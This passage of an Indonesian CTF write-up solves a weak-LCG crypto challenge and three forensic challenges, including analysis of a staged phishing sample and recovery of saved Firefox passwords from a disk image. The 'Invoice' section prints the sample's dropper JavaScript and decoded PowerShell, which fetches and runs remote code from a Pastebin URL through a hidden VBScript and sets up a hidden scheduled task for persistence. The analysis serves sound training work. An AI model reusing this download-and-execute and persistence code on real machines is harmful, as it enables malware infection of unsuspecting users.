   * Mulai dari `state = A`.
   * Untuk tiap blok 4 byte:

     * Update `state` sesuai LCG.
     * Ekstrak 4 byte keystream (LSB ke MSB) lewat operasi bit-shift.
     * XOR dengan ciphertext.

3. **`recover_C_from_plain()`**

   * Hitung 32-bit keystream `v5_1` dari selisih ciphertext ⊕ plaintext.
   * Karena `v5_1 ≡ B·A + C`, maka `C = v5_1 − B·A (mod M)`.

4. **Flow Utama**

   * Baca file terenkripsi.
   * Jika user mem‐provide `--guess`, langsung hitung `C` dan dekripsi.
   * Kalau tidak, program hanya men-print saran untuk menyediakan tebakan plaintext.

---

## 4. Cara Menggunakan Solver

1. **Dengan Tebakan 4-byte**
   Jika kamu yakin flag dimulai dengan misalnya `b"fore"`, jalankan:

   ```bash
   python3 decrypt.py flag.txt.enc --guess "fore"
   ```

   Hasilnya akan mencetak nilai `C` yang ditemukan dan seluruh plaintext (flag).

2. **Tanpa Tebakan**
   Jika tidak tahu 4-byte pertamanya, kamu perlu:

   * Menambahkan mekanisme brute-force `C` (mis. iterasi `rand()` atas rentang waktu), **atau**
   * Menyisipkan sendiri potongan plaintext apapun yang diketahui.

---

## 5. Output

```bash
┌──(cyrus㉿cyshe)-[~/Documents/CTF/gemastikinternal/rev]
└─$ python solver.py --guess fore flag.txt.enc
Recovered C = 188819810
foresty{not_so_pseudorandom_number_generator_1aff9a}

┌──(cyrus㉿cyshe)-[~/Documents/CTF/gemastikinternal/rev]
└─$
```



**Flag : foresty{not_so_pseudorandom_number_generator_1aff9a}**

---

## <a id=Forensic> Forensic </a>

### <center><a id="18"> Wannabe Malware </a></center>
<center>175</center>
<center>This is not a malware!!!

Author: **OwanKanobae**</center>

![image](https://hackmd.io/_uploads/ByqIsahvxx.png)

diberikan pdf yang katanya isinya malware, langsung aja kita liat isinya pake pdf-parser
```bash!
┌──(cyrus㉿cyshe)-[~/Documents/CTF/gemastikinternal/forensic]
└─$ pdf-parser wannabe_malware.pdf
This program has not been tested with this version of Python (3.13.5)
Should you encounter problems, please use Python version 3.12.2
PDF Comment '%PDF-1.3\n'

PDF Comment '%\xe2\xe3\xcf\xd3\n'

obj 1 0
 Type: /Pages
 Referencing: 4 0 R

  <<
    /Type /Pages
    /Count 1
    /Kids [ 4 0 R ]
  >>


obj 2 0
 Type:
 Referencing:

  <<
    /Producer (PyPDF2)
  >>


obj 3 0
 Type: /Catalog
 Referencing: 1 0 R, 10 0 R

  <<
    /Type /Catalog
    /Pages 1 0 R
    /Names
      <<
        /JavaScript
          <<
            /Names '[ (3d60b6d9\\0558bc8\\0554b65\\055afb7\\055e7da667840f2) 10 0 R ]'
          >>
      >>
  >>


obj 4 0
 Type: /Page
 Referencing: 5 0 R, 6 0 R, 1 0 R

  <<
    /Contents 5 0 R
    /MediaBox [ 0 0 595.2756 841.8898 ]
    /Resources
      <<
        /Font 6 0 R
        /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ]
      >>
    /Rotate 0
    /Trans
    /Type /Page
    /Parent 1 0 R
  >>


obj 5 0
 Type:
 Referencing:
 Contains stream

  <<
    /Filter [ /ASCII85Decode /FlateDecode ]
    /Length 250
  >>


obj 6 0
 Type:
 Referencing: 7 0 R, 8 0 R, 9 0 R

  <<
    /F1 7 0 R
    /F2 8 0 R
    /F3 9 0 R
  >>


obj 7 0
 Type: /Font
 Referencing:

  <<
    /BaseFont /Helvetica
    /Encoding /WinAnsiEncoding
    /Name /F1
    /Subtype /Type1
    /Type /Font
  >>


obj 8 0
 Type: /Font
 Referencing:

  <<
    /BaseFont /Helvetica-Bold
    /Encoding /WinAnsiEncoding
    /Name /F2
    /Subtype /Type1
    /Type /Font
  >>


obj 9 0
 Type: /Font
 Referencing:

  <<
    /BaseFont /Helvetica-Oblique
    /Encoding /WinAnsiEncoding
    /Name /F3
    /Subtype /Type1
    /Type /Font
  >>


obj 10 0
 Type: /Action
 Referencing:

  <<
    /Type /Action
    /S /JavaScript
    /JS '(\\012\\050function\\050\\051\\040\\173\\012\\040\\040\\040\\040function\\040rev\\050s\\051\\040\\173\\040return\\040s\\056split\\050\\047\\047\\051\\056reverse\\050\\051\\056join\\050\\047\\047\\051\\073\\040\\175\\012\\040\\040\\040\\040var\\040a\\040\\075\\040\\042bOtXe0NXZy9mZ\\042\\073\\012\\040\\040\\040\\040var\\040b\\040\\075\\040\\0421MzM3XV9Wefd3\\042\\073\\012\\040\\040\\040\\040var\\040c\\040\\075\\040\\042gDNyEDM58VZN9\\042\\073\\012\\040\\040\\040\\040var\\040d\\040\\075\\040\\042\\07503X1AjM5QjM1\\042\\073\\012\\040\\040\\040\\040var\\040xy\\040\\075\\040rev\\050a\\051\\073\\012\\040\\040\\040\\040var\\040y\\040\\075\\040rev\\050b\\051\\040\\053\\040rev\\050c\\051\\073\\012\\040\\040\\040\\040var\\040z\\040\\075\\040rev\\050d\\051\\073\\012\\040\\040\\040\\040var\\040x1\\040\\075\\040atob\\050xy\\040\\053\\040y\\040\\053\\040z\\051\\073\\012\\040\\040\\040\\040var\\040x2\\040\\075\\040rev\\050x1\\051\\012\\040\\040\\040\\040var\\040wz\\040\\075\\040rev\\050x2\\051\\012\\040\\040\\040\\040this\\056hide\\040\\075\\040xy\\040\\053\\040y\\040\\053\\040z\\073\\012\\175\\051\\050\\051\\073\\012)'
  >>


xref

trailer
  <<
    /Size 11
    /Root 3 0 R
    /Info 2 0 R
  >>

startxref 2178

PDF Comment '%%EOF\n'
```

## Pendahuluan

File PDF berisi sebuah *JavaScript Action* yang disembunyikan di objek PDF. Tugas kita:

1. Temukan dan ekstrak kode JavaScript-nya.
2. Analisis cara kerjanya—terutama bagaimana string-string terfragmentasi direverse, digabung, dan didekode dari Base64.
3. Rekonstruksi langkah-langkah tersebut dengan Python untuk mendapatkan flag.

---

## 1. Ekstraksi JavaScript dari PDF

Dengan `pdf-parser`, kita menemukan objek **10 0** berisi:

```js
/JS '(\
    (function(){
        function rev(s){ return s.split('').reverse().join(''); }
        var a = "bOtXe0NXZy9mZ";
        var b = "1MzM3XV9Wefd3";
        var c = "gDNyEDM58VZN9";
        var d = "=03X1AjM5QjM1";
        var xy = rev(a);
        var y  = rev(b) + rev(c);
        var z  = rev(d);
        var x1 = atob(xy + y + z);
        var x2 = rev(x1);
        var wz = rev(x2);
        this.hide = xy + y + z;
    })()
)'
```

Penjelasan singkat:

* Fungsi `rev(s)` membalik urutan karakter string `s`.
* Empat variabel `a`, `b`, `c`, `d` adalah potongan string Base64 yang ter-reverse.
* Setelah dibalik dan digabung, akan di-`atob` (decode Base64) menjadi payload asli.

---

## 2. Analisis Cara Kerja

1. **Reverse setiap fragmen**

   ```js
   xy = rev(a);            // membalik string a
   y  = rev(b) + rev(c);   // membalik b dan c, lalu gabung
   z  = rev(d);            // membalik d
   ```
2. **Gabungkan jadi satu string**

   ```js
   s = xy + y + z;
   ```
3. **Decode Base64**

   ```js
   x1 = atob(s);
   ```
4. **Reverse dua kali hasil decode**

   ```js
   x2 = rev(x1);
   wz = rev(x2);
   ```

   Karena dua kali reverse → hasilnya sama dengan `x1`.
5. **Flag** disimpan di `x1` (atau `wz`), yang merupakan string yang kita cari.

---

## 3. Skrip Python untuk Mendapatkan Flag

```python
#!/usr/bin/env python3
import base64

# Fragmen yang diambil dari PDF
a = "bOtXe0NXZy9mZ"
b = "1MzM3XV9Wefd3"
c = "gDNyEDM58VZN9"
d = "=03X1AjM5QjM1"

# 1) Reverse masing-masing fragmen
xy = a[::-1]
y  = b[::-1] + c[::-1]
z  = d[::-1]

# 2) Gabungkan dan decode Base64
s = xy + y + z
flag = base64.b64decode(s).decode('utf-8')

print("Flag:", flag)
```

**Penjelasan kode:**

* `a[::-1]` membalik string `a`.
* Setelah membalik, kita gabung string menjadi `s`.
* `base64.b64decode(s)` mendecode dari Base64 → menghasilkan flag.

---

## 4. Hasil dan Flag

Saat dijalankan, skrip di atas akan mencetak:

```
Flag: foresty{Now_yoU_s33_Me_9012485249205_}
```



**Flag : foresty{Now_yoU_s33_Me_9012485249205_}**

---

### <center><a id="12"> Invoice </a></center>
<center>300</center>
<center>Note: `Do NOT run any scripts unless you fully understand their behavior.`

*Author: bl33dz*</center>

Challenge ini adalah contoh klasik dari alur serangan phishing multi-tahap. Solusi dimulai dari menganalisis file email (`.eml`), mengekstrak lampiran HTML yang berbahaya, yang kemudian mengunduh file ZIP. Di dalam ZIP, terdapat sebuah skrip JavaScript yang ter-obfuscated. Setelah di-deobfuscate, skrip ini menjalankan perintah PowerShell yang juga ter-encode. Skrip PowerShell ini kemudian mengunduh dan mengeksekusi payload tahap akhir dari Pastebin untuk mengungkap bagian kedua dari flag. Bagian pertama flag ditemukan terenkripsi di dalam skrip PowerShell itu sendiri.

-----



#### 1\. Analisis Awal: File `invoice.eml`

Challenge dimulai dengan sebuah file `invoice.eml`. Untuk menganalisisnya dengan aman, file ini diunggah ke *online EML analyzer* seperti `eml-analyzer.herokuapp.com`.

Hasil analisis menunjukkan adanya lampiran yang sangat mencurigakan:

  * **Filename:** `Invoice.pdf.html`
  * **Size:** 104.0 Kb
  * **MIME type:** `JavaScript source, Unicode text, UTF-8 text...`

Nama file yang mencoba menyamar sebagai PDF (`.pdf.html`) dan tipe MIME yang terdeteksi sebagai JavaScript adalah pertanda bahaya yang jelas.
![image](https://hackmd.io/_uploads/rJi0ER2Pgl.png)

#### 2\. Attachment Berbahaya: `Invoice.pdf.html`

Ketika file `Invoice.pdf.html` dibuka di browser (dalam lingkungan yang aman/sandbox), file tersebut menampilkan halaman invoice palsu dan secara otomatis memicu unduhan file `Invoice.zip`. Ini adalah taktik rekayasa sosial umum untuk mengelabui korban agar menjalankan payload berikutnya.
![image](https://hackmd.io/_uploads/HyA1SAhDgl.png)

#### 3\. Membedah `Invoice.zip`

Setelah mengekstrak `Invoice.zip`, kita mendapatkan dua file:

  * `Invoice.pdf`
  * `RUN_THIS_IF_PDF_FAILED.js`

File `Invoice.pdf` kemungkinan besar adalah umpan (decoy), sedangkan file `RUN_THIS_IF_PDF_FAILED.js` adalah fokus utama analisis kita selanjutnya.

#### 4\. Deobfuscation Tahap 1: JavaScript ke PowerShell

Isi dari `RUN_THIS_IF_PDF_FAILED.js` adalah skrip yang ter-obfuscated.

```javascript
var qrsw0 = "LgAgACgAIAAoAFsAUwB0AHIASQBOAGcAXQAkAFYAZQBSAEIATwBTAEUAcABSAGUARgBFAFIARQBuAGMA";
var qrsw1 = "ZQApAFsAMQAsADMAXQArACcAeAAnAC0AagBvAEkAbgAnACcAKQAgACgAIABbAHMAdABSAGkAbgBnAF0A";
// ... (dan seterusnya hingga qrsw55) ...
var sh = new ActiveXObject("WScript.Shell");
var cmd = "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand " + qrsw0 + qrsw1 + qrsw2 + qrsw3 + qrsw4 + qrsw5 + qrsw6 + qrsw7 + qrsw8 + qrsw9 + qrsw10 + qrsw11 + qrsw12 + qrsw13 + qrsw14 + qrsw15 + qrsw16 + qrsw17 + qrsw18 + qrsw19 + qrsw20 + qrsw21 + qrsw22 + qrsw23 + qrsw24 + qrsw25 + qrsw26 + qrsw27 + qrsw28 + qrsw29 + qrsw30 + qrsw31 + qrsw32 + qrsw33 + qrsw34 + qrsw35 + qrsw36 + qrsw37 + qrsw38 + qrsw39 + qrsw40 + qrsw41 + qrsw42 + qrsw43 + qrsw44 + qrsw45 + qrsw46 + qrsw47 + qrsw48 + qrsw49 + qrsw50 + qrsw51 + qrsw52 + qrsw53 + qrsw54 + qrsw55;
sh.Run(cmd, 0, false);
```

Skrip ini menggabungkan banyak variabel string (`qrsw0` hingga `qrsw55`) untuk membentuk satu string Base64 yang panjang. String ini kemudian dieksekusi sebagai perintah PowerShell menggunakan `-EncodedCommand`.

Dengan menggabungkan semua string dan mendekodenya dari Base64, kita mendapatkan skrip PowerShell berikut.

#### 5\. Analisis Skrip PowerShell dan Flag Bagian Pertama

Skrip PowerShell yang telah di-decode mengungkapkan logika berikutnya:

```powershell
$8qjflagBytes = [byte[]](0x33,0x3a,0x27,0x30,0x26,0x21,0x2c,0x2e,0x26,0x21,0x65,0x65,0x25,0x3c,0x31,0x0a)
$8qjflag = xor_decrypt $8qjflagBytes 0x55

if ($env:USERNAME -eq "Purbl33dzPur") {
    Write-Host "PurRecovered: $8qjflag"
}

$8qjvbs = @"
Set s = CreateObject("WScript.Shell")
s.Run "powershell.exe -exec bypass -windowstyle hidden (iex(iwr -useb https://pastebin.com/raw/L0QUr6Lp))", 0
"@
$8qjvbsPath = "$env:APPDATA\zX3rtnonce.vbs"
Set-Content -Encoding ASCII -Path $8qjvbsPath -Value $8qjvbs

# Schedule the task
$8qjtaskName = "Updater_8qj$(Get-Random -Minimum 1000 -Maximum 9999)"
$8qjaction = New-ScheduledTaskAction -Execute "wscript.exe" -Argument "a3y$8qjvbsPatha3y"
$8qjtrigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
$8qjsettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden

Register-ScheduledTask -TaskName $8qjtaskName -Action $8qjaction -Trigger $8qjtrigger -Settings $8qjsettings
```

Skrip ini melakukan beberapa hal:

1.  Membuat file VBScript (`zX3runonce.vbs`) di direktori `%APPDATA%`.
2.  Isi dari VBScript tersebut adalah perintah untuk mengunduh konten dari `https://pastebin.com/raw/L0QUr6Lp` dan mengeksekusinya di memori (`iex`).
3.  Membuat *Scheduled Task* untuk menjalankan VBScript tersebut setelah 1 menit sebagai mekanisme persistensi.

Di dalam skrip ini (atau dalam analisis yang terkait dengannya), ditemukan sebuah byte array yang dienkripsi menggunakan XOR. Ini adalah bagian pertama dari flag. Kita bisa mendekripsinya menggunakan Python.

```python
def xor_decrypt(cipher_bytes, key_byte):
    return bytes([b ^ key_byte for b in cipher_bytes])

# Ciphertext yang ditemukan dari analisis skrip
cipher_bytes = bytes([
    0x33, 0x3a, 0x27, 0x30, 0x26, 0x21, 0x2c, 0x2e,
    0x26, 0x21, 0x65, 0x65, 0x25, 0x3c, 0x31, 0x0a
])

# Key yang digunakan dalam enkripsi
key = 0x55
decrypted = xor_decrypt(cipher_bytes, key)

print("Decrypted text:", decrypted.decode(errors='replace'))
```

Output dari skrip dekripsi ini adalah: `foresty{st00pid_`

#### 6\. Tahap Akhir: Payload dari Pastebin

Langkah selanjutnya adalah memeriksa URL Pastebin yang ditemukan di skrip PowerShell: `https://pastebin.com/raw/L0QUr6Lp`.

Isinya adalah sebuah skrip VBScript yang ter-obfuscated menggunakan fungsi `Chr()` untuk menyembunyikan string aslinya.

![image](https://hackmd.io/_uploads/S1R5HA2Dee.png)


Dengan menerjemahkan kode karakter ASCII (`Chr()`) ke teks, kita mendapatkan:

  * `a` = `thr3`
  * `b` = `4t_a`
  * `c` = `ctor`
  * `d` = `_6f18a5}`

Jika digabungkan, string ini menjadi: `thr34t_actor_6f18a5}`.

#### 7\. Rekonstruksi Flag Final

Sekarang kita hanya perlu menggabungkan kedua bagian flag yang telah kita temukan:

  * Bagian 1: `foresty{st00pid_`
  * Bagian 2: `thr34t_actor_6f18a5}`



**Flag : foresty{st00pid_thr34t_actor_6f18a5}**

---

### <center><a id="7"> Password </a></center>
<center>475</center>
<center>My computer broke and I don't know what to do! Can you take a look at the drive? There shouldn't be any sensitive information that could be used to steal my wallet, I deleted personal files a while ago..

File: 
https://drive.google.com/file/d/1wL3en-_ScI4zcAkQmC5IXuk0OSU9thw-/view?usp=sharing

Password: `foresty{semangat_gemastiknya}`

*Author: Rin4th*</center>

#### Diberikan file `chall.dd` sebesar 6gb

![image](https://hackmd.io/_uploads/r1A-Jd3Pxe.png)
file ini adalah file VMWare, yang berarti bisa dibuka dengan 7zip

![image](https://hackmd.io/_uploads/SkY_kO3weg.png)
saya membuka file 1.ntfs, karena file yang paling besar

![image](https://hackmd.io/_uploads/Skc9J_3vgg.png)
Ternyata file Windows, pada recycle bin ada file foto, yang akan berguna nanti

#### Mendapatkan File Firefox

pada `/1.ntfs/Users/Foresty/AppData/Roaming/Mozilla/Firefox/`, terdapat file firefox, saya extract ke pc saya.

![image](https://hackmd.io/_uploads/r1uKeOnvlx.png)
Dengan membuka `logins.json` di dalam profile, saya menemukan username dan password sebuah login, flag nya kemungkinan ada disitu.

#### Decrypt Password Firefox

Menggunakan tool [unode/firefox_decrypt](https://github.com/unode/firefox_decrypt), 

![image](https://hackmd.io/_uploads/rJUXb_nDxg.png)
disini ada Master password yang mengenkripsi profile tersebut, jadi tinggal mencari passsword tersebut saja

#### Mencari Master Password

Ingat recycle bin tadi? yap, ada file foto didalamnya, selain foto foto random, ada satu file ini yang saya tertarik

![image](https://hackmd.io/_uploads/SkKKW_3Pxx.png)
ya, ada text terpotong didalamnya, sepertinya ada cara untuk mengambil kembali file tersebut

#### Memperbaiki foto


![image](https://hackmd.io/_uploads/HJH9gA2wxx.png)
Image terpotong dan dibawahnya ada string terpotong juga disini kita tinggal ganti height dari image itu di hex nya.
![image](https://hackmd.io/_uploads/rJieZRnvgx.png)
![image](https://hackmd.io/_uploads/S1OXb02wgl.png)
![image](https://hackmd.io/_uploads/SJ-HWAnPxx.png)
![image](https://hackmd.io/_uploads/rJoL-C3wxe.png)

![image](https://hackmd.io/_uploads/S1pfGunDle.png)
Ternyata passwordnya `Su4miS4hN1jik4`! (Wibu kalo ga halu ya stres)

dengan menginputkan passwordnya ke firefox_decrypt, kita mendapatkan flagnya
![image](https://hackmd.io/_uploads/r1HFfOhDex.png)


**Flag : foresty{s4V3d_P45sw0rd_0n_Pr0f1L3_l0veN1j1k4_9381}**

---